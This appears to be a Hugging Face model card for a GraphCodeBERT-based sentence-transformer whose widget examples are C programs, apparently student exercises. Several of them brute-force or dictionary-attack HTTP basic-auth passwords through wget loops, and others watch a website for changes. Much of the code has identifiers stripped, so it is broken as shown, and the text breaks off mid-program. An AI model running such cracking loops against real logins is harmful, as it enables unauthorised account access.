buelfhood's picture
Add new SentenceTransformer model
e80d0c2 verified
metadata
tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - dense
  - generated_from_trainer
  - dataset_size:3081
  - loss:BatchAllTripletLoss
base_model: microsoft/graphcodebert-base
widget:
  - source_sentence: "#include<stdio.h>\n#include<stdlib.h>\n#include<unistd.h>\n#define TRUE 0\n()\n{\nFILE *fp;\nsystem(\"rmdir ./www.cs.rmit.edu.\");\nchar chk[1];\nstrcpy(chk,\"n\");\n  while(1)\n  {\n       \n   \tsystem(\"wget -p http://www.cs.rmit.edu./students/\");\n\t\t\n\t\tsystem(\"md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./text1.txt\");\n\t\t\n\t\t\n\t\tif (strcmp(chk,\"n\")==0)\t\t\n\t\t{\t\t\n\t\tsystem(\"mv ./www.cs.rmit.edu./text1.txt   ./text2.txt\");\n\t\tsystem(\"mkdir ./\");\n\t\t\n\t\tsystem(\"mv ./www.cs.rmit.edu./students/index.html ./\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\n\t\t\n\t\tsystem(\" diff ./www.cs.rmit.edu./students/index.html .//index.html | mail @cs.rmit.edu. \");\n\t\tsystem(\" diff ./www.cs.rmit.edu./text1.txt ./text2.txt | mail @cs.rmit.edu. \");\n\t\tsystem(\"mv ./www.cs.rmit.edu./students/index.html ./\");\n\t\tsystem(\"mv ./www.cs.rmit.edu./text1.txt   ./text2.txt\");\t\t\t\t\n\t\t}\n\t\tsleep(86400);\n\t\tstrcpy(chk,\"y\");\n\t\t\n\t}\n}\t\t    \t      \n      \n      \n"
    sentences:
      - |
        #include <stdio.h>
        #include <stdlib.h>
        #include <sys/time.h>
        #include <strings.h>
        #include <ctype.h>

        int ()
        {
          FILE *fp; 
          char *chk,[4];
          int i=1;
          while (i == 1) 
          {
          
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");

          system("mkdir first"); 
          system("mkdir second"); 

          
          system("mv www.cs.rmit.edu./images/*.*  first/");
          system("mv www.cs.rmit.edu./students/*.* first/");

          sleep(86400); 

          
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");

          
          system("mv www.cs.rmit.edu./images/*.* second/");
          system("mv www.cs.rmit.edu./students/*.* second/");

          
          
          system("diff first second > imagesdifference.txt");

          
          fp = fopen("imagesdifference.txt","r");
          
          chk = fgets(, 4, fp);
          
          if (strlen() != 0)
             system("mailx -s  \"Difference from WatchDog\"  < imagesdifference.txt");
          }
          return 0;
        }
      - "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100];\nint count=0;\nchar ch;\nchar line[100];\nchar filename[50];\nchar *token;\nconst char delimiter[]=\" \\n.,;:!-\";\nFILE *fp;\nint  total_time,start_time,end_time;\nstart_time = time();\nstrcpy(filename,\"/usr/share/lib/dict/words\");\nif((fp=fopen(filename,\"r\"))==NULL){\nprintf(\"cannot open file\\n\");\nexit(1);\n}\nwhile((fgets(line,sizeof(line),fp))!=NULL)\n{\n        token=strtok(line,delimiter); \n        while(token!=NULL)\n                {\n            count++;\n\t    printf(\"ATTEMPT : %d\\n\",count);\nstrcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=\");\n                strcat(a,token);                \n                printf(\"The request %s\\n\",a); \n                if(system(a)==0)\n\t\t{\n\t\tprintf(\"Congratulations!!!Password obtained using DICTIONARY ATTACK\\n\");\n\t\tprintf(\"************************************************************\\n\");\n\t\tprintf(\"Your password is %s\\n\",token);\n\t\tprintf(\"The Request sent is %s \\n\",a);\n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf(\"The Time Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\n              \n                token=strtok(NULL,delimiter);\n                \n                 }\n}\n\n\nfclose(fp);\nreturn 0;\n}\n"
      - |



        #include <stdio.h>
        #include <stdlib.h>
        #include <sys/time.h>
        #include <strings.h>
        #include <ctype.h>

        int ()
        {
          char word[15], *chk;
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");
          system("mkdir one");
          system("mv www.cs.rmit.edu./images/*.*  one/");
          system("mv www.cs.rmit.edu./students/*.* one/");
          sleep(15);
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");
          system("mkdir two");
          system("mv www.cs.rmit.edu./images/*.* two/");
          system("mv www.cs.rmit.edu./students/*.* two/");
          system("diff one two > difference.txt");
          system("mailx -s  \"Message1\"   < difference.txt");
          return 0;
        }
  - source_sentence: "# include <stdio.h>\n# include <stdlib.h>\n# include <string.h>\n# include <sys/time.h>\n# include <strings.h>\n\nint ()\n{\n\n\t\t\n\tchar* check = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\t\t\n\tchar s[100];\n\tchar charcopy[200];\n\t\n\tFILE* f;\t\t\t\t\t\n\t\t\n\tint i,j,k;\n\n\tint starting,ending;\t\t\t\t\t\t\t\n\t\n\tint totaltime;\n\t\n\tstarting=time();\t\t\t\t\t\t\t\t\n\n\tfor (i=0;i<strlen(check);i++)\n\t{\n\t\tfor(j=0;j<strlen(check);j++)\t\t\t\t\t\t\n\t\t{\n\t\t\tfor(k=0;k<strlen(check);k++)\n\t\t\t{\n\t\t\t\tstrcpy(charcopy,\"wget --http-user= --http-passwd=    -nv -o logfile http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tcharcopy[40]=check[i];              \t\t\t\n\t\t\t\tcharcopy[41]=check[j];\t\t\t\t\t\n\t\t\t\tcharcopy[42]=check[k];\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\tsystem(charcopy);\t\n\t\t\t\tprintf(\"%c %c %c\\n\",check[i],check[j],check[k]);\n\t\t\t\tprintf(\"%s\\n\",charcopy);\n\t\t\t\t\n\t\t\t\tf = fopen(\"logfile\",\"r\");\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(f != (FILE*) NULL)\n\t\t\t\t{\n\t\t\t\t\tfgets(s,30,f);\t\t\t\t\t\n\t\t\t\t\tprintf(\"%s\\n\",s);\n\t\t\t\t\tif(strcmp(s,\"Authorization failed.\\n\")!=0)\n\t\t\t\t\t{\n\t\t\t\t\t\tending=time();\t\n\t\t\t\t\t\ttotaltime=ending-starting;\n\t\t\t\t\t\ttotaltime=totaltime/1000000000;\t\t\n\t\t\t\t\t\ttotaltime=totaltime/60;\n\t\n\t\t\t\t\t\tprintf(\"Total time_var taken  break the Password is %lld minutes\\n\", totaltime);\n\t\t\t\t\t\texit(0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tfclose(f);\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t} \n\t\n\t\n\treturn 1;\n}\n"
    sentences:
      - |
        #include <stdio.h>
        #include <stdlib.h>
        #include <sys/time.h>
        #include <strings.h>
        #include <ctype.h>

        int ()
        {
          FILE *fp; 
          char *chk,[4];
          int i=1;
          while (i == 1) 
          {
          
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");

          system("mkdir first"); 
          system("mkdir second"); 

          
          system("mv www.cs.rmit.edu./images/*.*  first/");
          system("mv www.cs.rmit.edu./students/*.* first/");

          sleep(86400); 

          
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");

          
          system("mv www.cs.rmit.edu./images/*.* second/");
          system("mv www.cs.rmit.edu./students/*.* second/");

          
          
          system("diff first second > imagesdifference.txt");

          
          fp = fopen("imagesdifference.txt","r");
          
          chk = fgets(, 4, fp);
          
          if (strlen() != 0)
             system("mailx -s  \"Difference from WatchDog\"  < imagesdifference.txt");
          }
          return 0;
        }
      - "\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <ctype.h>\n\nchar *itoa(int); \n\nint ()\n{\n  int t,t1,t2, timeinsec;    \n  int nofattempts = 0;\n  char url[80], url1[80], *ur1, *ur2;\n  strcpy(url, \"wget --http-user= --http-passwd=\");     \n  strcpy(url1, \" http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt\"); \n  int i = 65;\n  int j ;\n  int k ;\n  char *c1, *c2, *c3;\n  char *c12, pass[4];\n  int syst = 1;\n  char a = 'a';\n  char inside[50];\n  t1 = time();  \n\n  \n\n\n\n  for (i = 65; i <= 122; i++)          \n  {\n    if (i > 90 && i < 97) continue;    \n\n    for (j = 65; j <= 122; j++)        \n    {\n      if (j > 90 && j < 97) continue;  \n\n      for (k = 65; k <= 122; k++)     \n      {\n          fflush(stdin);\n          if (k > 90 && k < 97) continue;  \n\n          c1 = itoa(i);  \n          c2 = itoa(j);  \n          c3 = itoa(k);  \n          pass[0] = *c1;\n          pass[1] = *c2;\n          pass[2] = *c3;\n    \t  pass[3] = '\\0';\n          strcat(url, pass);  \n          strcat(url, url1);  \n\t      ++nofattempts;  \n          syst = system(url);  \n          printf(\"%s\\n\",pass);\n          if (syst == 0)  \n          {\n            t2 = time();\n            t = t2 - t1; \n            timeinsec = t / 1000000000;\n            printf(\"  Total .of attempts :-  %d\", nofattempts);\n            printf(\"\\n !!! 's the password:- %s\\n\", pass);\n            printf(\"\\n Brute force has taken  much of time_var :-  %lld seconds\\n\", timeinsec);\n            exit(1);\n          }\n\t      strcpy(url, \"\");\n    \t  strcpy(url, \"wget --http-user= --http-passwd=\");\n      }\n    }\n  }\n  exit(0);\n}\n\nchar *itoa(int a)  \n{\n    char *[26] = { \"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\",  \n                     \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\",\n                      \"y\", \"z\" };\n    char *[26] = { \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\",\n                     \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\",\n                      \"Y\", \"Z\" };\n\n  char *ret;\n  if ( a >= 97 && a <= 122)   \n  {\n      ret =  [a-97];\n      return ret;\n  }\n if ( a >= 65 && a <= 90)     \n  {\n      ret =  [a-65];\n      return ret;\n  }\n\n  return \"5\";\n}\n"
      - |+










        #include<stdio.h>
        #include<stdlib.h>
        #include<sys/types.h>
        #include<sys/times.h>
        #include<sys/time.h>
        #include<unistd.h>
        #include<strings.h>
        int ()
        {
          char url[100];
          char syscom[]= "wget -nv --http-user= --http-passwd=";
          char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/ ";
          FILE *fp;

          char pass[15], *valid;
          valid = "pass";
          int , end, time_var;
          int hack =1;
          int attempt =1;

          fp = fopen("words.txt","r");
          if (fp == NULL)
          exit(1);

           = time();
          while (valid != NULL)
          {
           valid  = fgets(pass,15,fp);
           pass[strlen(pass)-1] ='\0';

           if(strlen(pass) != 3)
           continue;

           printf("%s\n",pass);
           sprintf(url,"%s%s %s",syscom,pass,http);

           hack = system(url);
           attempt++;

           if (hack == 0)
            {
             end = time();
             time_var = (end-);
             printf("\nThe password is :%s",pass);
             printf("\nNo. of Attempts   crack the password :%d",attempt);
             printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
             exit(1);
             }
           }
          exit(1);
         }

  - source_sentence: "\n# include <stdio.h>\n# include <stdlib.h>\n# include <string.h>\n# include <strings.h>\n# include <sys/time.h>\n\nint ()\n{\n\n\tchar s[30];\n\tchar c[100];\n\tchar usr[50];\n\tchar url[100];\n\tchar charcopy[200];\n\t\n\tint starting,ending;\t\t\t\t\t\t\t\n\tint totaltime;\n\n\tFILE* fp;\n\tFILE* f;\n\t\t\n\tint i,j,k;\n\t\t\t\n\tfp = fopen(\"/usr/share/lib/dict/words\",\"r\");\t\t\t\t\t\n\tstrcpy(charcopy, \"wget --http-user= --http-passwd=\");\t\t\t\n\tstrcpy(url, \"-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/\");\t\t\n\t\n\tstarting=time();\t\t\t\t\t\t\t\t\n\n\t\n\twhile(!feof(fp))\n\t{\n\t\tj=40;\n\t\tfgets(c,30,fp);\t\t\t\t\t\t\t\t\n\t\t\n\t\t\t\n\t\tfor(i=0;i<strlen(c);i++)\t\t\t\t\t\t\n\t\t{\n\t\t\tcharcopy[j]=c[i];\n\t\t\tj++;\n\t\t}\n\t\tcharcopy[j-1] = ' ';\n\t\t\n\t\tfor(i=0;i<strlen(url);i++)\t\t\t\t\t\t\n\t\t{\n\t\t\tcharcopy[j]=url[i];\t\t\t\t\t\t\n\t\t\tj++;\n\t\t}\n\t\t\n\t\tcharcopy[j] = '\\0';\n\n\t\tprintf(\"%s\\n\",c);\n\t\tsystem(charcopy);\n\t\t\t\n\t\tf = fopen(\"logfile1\",\"r\");\t\t\t\t\t\t\n\t\t\n\t\tif(f != (FILE*) NULL)\n\t\t{\n\t\t\n\t\t\tfgets(s,30,f);\t\t\t\t\t\t\t\n\t\t\tif(strcmp(s,\"Authorization failed.\\n\")!=0)\t\t\t\n\t\t\t{\n\t\t\t\tending=time();\n\t\t\t\ttotaltime=ending-starting;\t\t\t\t\n\t\t\t\ttotaltime=totaltime/1000000000;\n\t\t\t\ttotaltime=totaltime/60;\n\t\n\t\t\t\tprintf(\"Time taken  break the password is %lld\\n\",totaltime);       \n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\t\t\t\n\t\tfclose(f);\n\t} \n\t\n\tfclose(fp);\n\t\n\t\n\treturn 1;\n}\n"
    sentences:
      - "\n\n\n\n\n\n\n\n\n\n\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<sys/types.h>\n#include<sys/times.h>\n#include<sys/time.h>\n#include<unistd.h>\n\nint ()\n{\n  char url[80];\n  char syscom[]= \"wget -nv --http-user= --http-passwd=\";\n  char http[] = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n  char [] =\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n  char username[8];\n  char pass[4];\n  int i,j,k,hack=1;\n  int attempt = 1;\n  int , end, time_var;\n\n   = time();\n  for ( i = 0 ;i<strlen();i++)\n    {\n      pass[0]=[i];\n      for( j = 0 ;j<strlen();j++)\n        {\n          pass[1]=[j];\n          for ( k = 0 ;k<strlen();k++)\n             {\n               fflush(stdin);\n               pass[2]=[k];\n               pass[3]='\\0';\n               printf(\"%s\\n\",pass);\n\n               sprintf(url,\"%s%s %s\",syscom,pass,http);\n               hack = system(url);\n               attempt++;\n               if (hack == 0)\n               {\n                  end = time();\n                  time_var = (end-);\n                  printf(\"\\nbr\tThe password is :%s\",pass);\n                  printf(\"\\nNo. of Attempts   crack the password :%d\",attempt);\n                  printf(\"\\nTime taken  crack the password = %lld sec\\n\",time_var/1000000000);\n                  exit(1);\n                }\n              }\n          }\n      }\n }\n\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = '\\0';\n\n\n\t     printf(\"Checking for the word :%s\\n\",);\n\t     strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\t     strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf(\"Success\\n\");\n\t\tprintf(\"Number of attempts = %d\\n\",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf(\"The password for the user  : %s\\n\",); \n                printf(\" Cracked the password in %lld nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<ctype.h>\n\n\nint  (int argc, char *argv[])\n{\n   FILE *fp;\n     \n   while(1)\n   {       \n      system(\"wget -p http://www.cs.rmit.edu./students\");\n      \n      \n      \n      system(\"mkdir Images\");\n      \n      if((fp=fopen(\"/home/s//SECAS02ANS/Images/file.txt\",\"r\"))==NULL)\n      { \n         system(\"cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt\");\n\t system(\"md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt\");\n\t fclose(fp);\n\t exit(0);\n      }\n      else\n      {          \n         fp=fopen(\"/home/s//SECAS02ANS/Images/file.txt\",\"r\");\n\t system(\"cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt\");\n\t system(\"md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt\");\n\t system(\"diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.\");\n\t system(\"mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images\");\n\t fclose(fp);\n      }\n      \n      \n      \n      system(\"mkdir Text\");\n      \n      if((fp=fopen(\"/home/s//SECAS02ANS/Text/index.html\",\"r\"))==NULL)\n      { \n         system(\"cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text\");\n\t exit(0);\n      }\n      else\n      {          \n      \t fopen(\"/home/s//SECAS02ANS/Text/index.html\",\"r\");\n\t system(\"diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.\");\n\t system(\"mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text\");\n\t fclose(fp);\n      }     \n       \n      \n      \n      sleep(86400);\n    }\t \n    return (EXIT_SUCCESS);\n}\n     \n\t   \n\t  \t\n"
  - source_sentence: "#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <sys/wait.h>\n#include <sys/time.h>\n\n\n\nchar* joinMe(char* t, char* t2)\n{\n\tchar* result;\n\tint length = 0;\n\tint j = 0;\n\tint counter = 0;\n\t\n\tlength = strlen(t) + strlen(t2) + 1;\n\t\n\tresult = malloc(sizeof(char) * length);\n\t\n\t\n\tfor(j = 0; j<strlen(t); j++)\n\t{\n\t\tresult[j] = t[j];\n\t}\n\n\t\n\tfor(j = strlen(t); j<length; j++)\n\t{\n\t\tresult[j] = t2[counter];\n\t\tcounter++;\n\t}\n\t\n\t\n\tresult[length-1] = '\\0';\n\n\treturn result;\n}\n\n\nvoid check(char** smallcmd)\n{\n\tint pid = 0;\n\tint status;\n\n\t\n\tif( (pid = fork()) == 0)\n\t{\n\t\t\n\t\texecvp(smallcmd[0],smallcmd);\n\t}\n\telse\n\t{\n\t\t\n\t\twhile(wait(&status) != pid);\n\t}\n}\n\nint (void)\n{\n\tint i = 0, j = 0, k = 0;\n\tchar** smallcmd;\n\tchar* [] = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\n\t\t\t\t\t\t\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\n\t\t\t\t\t\t\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\tint count = 0;\n\tFILE *myFile,*myFile3;\n\tint compare2;\n\tchar* myString;\n\tint length = 0;\n\tint start2, end2;\n\t\n\t\n\tmyString = malloc(sizeof(char) * 100);\n\tsmallcmd = malloc(sizeof(char *) * 8);\n\t\n\tsmallcmd[0] = \"/usr/local//wget\";\n\t\n\tsmallcmd[1] = \"--http-user=\";\n\tsmallcmd[2] = \"--http-passwd=\";\n\tsmallcmd[3] = \"-o\";\n\tsmallcmd[4] = \"logwget\";\n\tsmallcmd[5] = \"-nv\";\n\tsmallcmd[6] = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n\tprintf(\"---------------now trying Brute force attack-----------------\\n\");\n\tstart2 = time();\n\n\t\n\tfor(i = 0; i<52; i++)\n\t{\n\t\tsmallcmd[2] = joinMe(smallcmd[2],[i]);\n\t\tprintf(\"Checking %s\\n\",smallcmd[2]);\n\t\tcheck(smallcmd);\n\t\tcount++;\n\t\tmyFile = fopen(\"logwget\", \"r\");\n\t\tif (myFile != (FILE*) NULL)\n\t\t{\n\t\t\tfgets(myString,100,myFile);\n\t\t\tprintf(\"%s\\n\",myString);\n\t\t\tif( strcmp(myString,\"Authorization failed.\\n\") != 0)\n\t\t\t{\n\t\t\t\t\n\t\t\t\tprintf(\"Passwd = %s\",smallcmd[2]);\n\t\t\t\tend2 = time();\n\t\t\t\tmyFile3 = fopen(\"log.txt\",\"a\");\n\t\t\t\tfprintf(myFile3,\"%s\",smallcmd[2]);\n\t\t\t\tfputs(\"\\nTime taken by Brute Force Attack \",myFile3);\n\t\t\t\tcompare2 = (end2-start2)/1000000000;\n\t\t\t\tfprintf(myFile3,\"%lld\",compare2);\n\t\t\t\tfputs(\" seconds\\n\",myFile3);\n\t\t\t\tfputs(\"this took \",myFile3);\n\t\t\t\tfprintf(myFile3,\"%d\",count);\n\t\t\t\tfputs(\" attempts\\n\\n\",myFile3);\n\t\t\t\tfclose(myFile3);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t\tfclose(myFile);\n\t\t}\n\t\t\n\t\tsmallcmd[2] = \"--http-passwd=\";\n\t}\n\n\t\n\tfor(i = 0; i<52; i++)\n\t{\n\t\tfor(j = 0; j<52; j++)\n\t\t{\n\t\t\tsmallcmd[2] = joinMe(smallcmd[2],[i]);\n\t\t\tsmallcmd[2] = joinMe(smallcmd[2],[j]);\n\t\t\tprintf(\"Checking %s\\n\",smallcmd[2]);\n\t\t\tcheck(smallcmd);\n\t\t\tcount++;\n\t\t\tmyFile = fopen(\"logwget\", \"r\");\n\t\t\tif (myFile != (FILE*) NULL)\n\t\t\t{\n\t\t\t\tfgets(myString,100,myFile);\n\t\t\t\tprintf(\"%s\\n\",myString);\n\t\t\t\tif( strcmp(myString,\"Authorization failed.\\n\") != 0)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tprintf(\"Passwd = %s\",smallcmd[2]);\n\t\t\t\t\tend2 = time();\n\t\t\t\t\tmyFile3 = fopen(\"log.txt\",\"a\");\n\t\t\t\t\tfprintf(myFile3,\"%s\",smallcmd[2]);\n\t\t\t\t\tfputs(\"\\nTime taken by Brute Force Attack \",myFile3);\n\t\t\t\t\tcompare2 = (end2-start2)/1000000000;\n\t\t\t\t\tfprintf(myFile3,\"%lld\",compare2);\n\t\t\t\t\tfputs(\" seconds\\n\",myFile3);\n\t\t\t\t\tfputs(\"this took \",myFile3);\n\t\t\t\t\tfprintf(myFile3,\"%d\",count);\n\t\t\t\t\tfputs(\" attempts\\n\\n\",myFile3);\n\t\t\t\t\tfclose(myFile3);\n\t\t\t\t\texit(0);\n\t\t\t\t}\n\t\t\t\tfclose(myFile);\n\t\t\t}\n\t\t\t\n\t\t\tsmallcmd[2] = \"--http-passwd=\";\n\t\t}\n\t}\n\n\tfor(i = 0; i<52; i++)\n\t{\n\t\tfor(j = 0; j<52; j++)\n\t\t{\n\t\t\tfor(k = 0; k<52; k++)\n\t\t\t{\n\t\t\t\t\n\t\t\t\tsmallcmd[2] = joinMe(smallcmd[2],[i]);\n\t\t\t\tsmallcmd[2] = joinMe(smallcmd[2],[j]);\n\t\t\t\tsmallcmd[2] = joinMe(smallcmd[2],[k]);\n\t\t\t\tprintf(\"Checking %s\\n\",smallcmd[2]);\n\t\t\t\t\n\t\t\t\tcheck(smallcmd);\n\t\t\t\tcount++;\n\t\t\t\tmyFile = fopen(\"logwget\", \"r\");\n\t\t\t\tif (myFile != (FILE*) NULL)\n\t\t\t\t{\n\t\t\t\t\tfgets(myString,100,myFile);\n\t\t\t\t\tprintf(\"%s\\n\",myString);\n\t\t\t\t\tif( strcmp(myString,\"Authorization failed.\\n\") != 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\tprintf(\"Passwd = %s\",smallcmd[2]);\n\t\t\t\t\t\tend2 = time();\n\t\t\t\t\t\tmyFile3 = fopen(\"log.txt\",\"a\");\n\t\t\t\t\t\tfprintf(myFile3,\"%s\",smallcmd[2]);\n\t\t\t\t\t\tfputs(\"\\nTime taken by Brute Force Attack \",myFile3);\n\t\t\t\t\t\tcompare2 = (end2-start2)/1000000000;\n\t\t\t\t\t\tfprintf(myFile3,\"%lld\",compare2);\n\t\t\t\t\t\tfputs(\" seconds\\n\",myFile3);\n\t\t\t\t\t\tfputs(\"this took \",myFile3);\n\t\t\t\t\t\tfprintf(myFile3,\"%d\",count);\n\t\t\t\t\t\tfputs(\" attempts\\n\\n\",myFile3);\n\t\t\t\t\t\tfclose(myFile3);\n\t\t\t\t\t\texit(0);\n\t\t\t\t\t}\n\t\t\t\t\tfclose(myFile);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tsmallcmd[2] = \"--http-passwd=\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 1;\n}\n\n"
    sentences:
      - |
        #include <sys/time.h>
        #include <strings.h>
        #include <ctype.h>
        #include <stdio.h>
        #include <stdlib.h>


        int main()
        {

          system("wget -p --convert-links http://www.cs.rmit.edu./students/");
          system("mkdir home");
          system("mv www.cs.rmit.edu./images/*.*   home/");
          system("mv www.cs.rmit.edu./students/*.* home/");
          system("cd www.cs.rmit.edu./images");
          sleep(1);
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");
          system("mkdir second");
          system("mv www.cs.rmit.edu./images/*.*  second/");
          system("mv www.cs.rmit.edu./students/*.* second/");
          system("cd www.cs.rmit.edu./images");
          system("diff home second > difference.txt");
          system("mailx -s   \"Difference in  \"    < difference.txt ");
          return 0;
        }
      - >+



        #define _REENTRANT

        #include <sys/time.h>

        #include <sys/types.h>

        #include <stdio.h>

        #include <string.h>

        #include <stdlib.h>

        #include <stdarg.h>

        #include <unistd.h>

        #include <errno.h>

        #include <ctype.h>

        #include <pthread.h>

        #include <signal.h>



        #define MAX_THREADS 1000

        #define MAX_COMBO 

        #define false 0

        #define true 1



        static char
        *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

        static char **combination=NULL;

        static char host[128];



        pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER;

        pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;

        pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;

        pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER;



        static int attempt_count=0;

        static int combo_entries=0;


        static struct timeval ;

        static struct timeval stop;

        static int thread_ready_indicator=false;

        static int thread_start_indicator=false;

        static int thread_count=0;



        typedef struct range

        {
          int ;
          int ;
        }range;



        void *client(void *arg)

        {
          
          int i=0, status=1;
          range *= (struct range*)arg;

          
          char local_buffer[128];

          pthread_mutex_lock(&thread_lock);
          thread_ready_indicator=true;

          
          pthread_cond_signal(&thread_ready);

          
          while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock);
            fflush(stdout);
          pthread_mutex_unlock(&thread_lock);

          
          for(i=->; i<=-> && i<combo_entries; i++)
          {
            
            sprintf(local_buffer,
            "wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s",
            "", combination[i], host);

            
            status=system(local_buffer);
            

            
            if(status==0)
            {
              printf("\n\nusername: \npassword: %s\n\n", combination[i]);
              fflush(stdout);

              
              pthread_mutex_lock(&counter_lock);

                attempt_count++;
                gettimeofday(&stop, NULL);

                printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
                attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
                fflush(stdout);

              pthread_mutex_unlock(&counter_lock);

              
              exit(EXIT_SUCCESS);
            }
            else
            {
              
              pthread_mutex_lock(&counter_lock);
                attempt_count++;
              pthread_mutex_unlock(&counter_lock);
            }
          }
          pthread_exit(NULL);
        }



        char *getNextCombination()

        {
          
          static int i=0;
          static int j=0;
          static int k=0;

          static int mode=1;
          char *word;


          

          if(i>51)
          {
            mode++; i=0; j=0; k=0;
          }

          
          if(mode==1)
          {
            char *word = calloc(mode, 1);
            word[0]=alphabet[i++];
            word[1]='\0';
            return word;
          }

          
          if(mode==2)
          {
            if(j>51)
            {
              i++; j=0;
            }

            if(i>51)
            {
              mode++;
              i=0; j=0; j=0;
            }
            else
            {
              char *word = calloc(mode, 1);
              word[0]=alphabet[i];
              word[1]=alphabet[j++];
              word[2]='\0';
              return word;
            }
          }

          
          if(mode==3)
          {
            if(k>51)
            {
              j++; k=0;
            }

            if(j>51)
            {
              i++; j=0;
            }

            if(i>51)
            {
               mode++;
               i=0; j=0; j=0;
             }
             else
             {
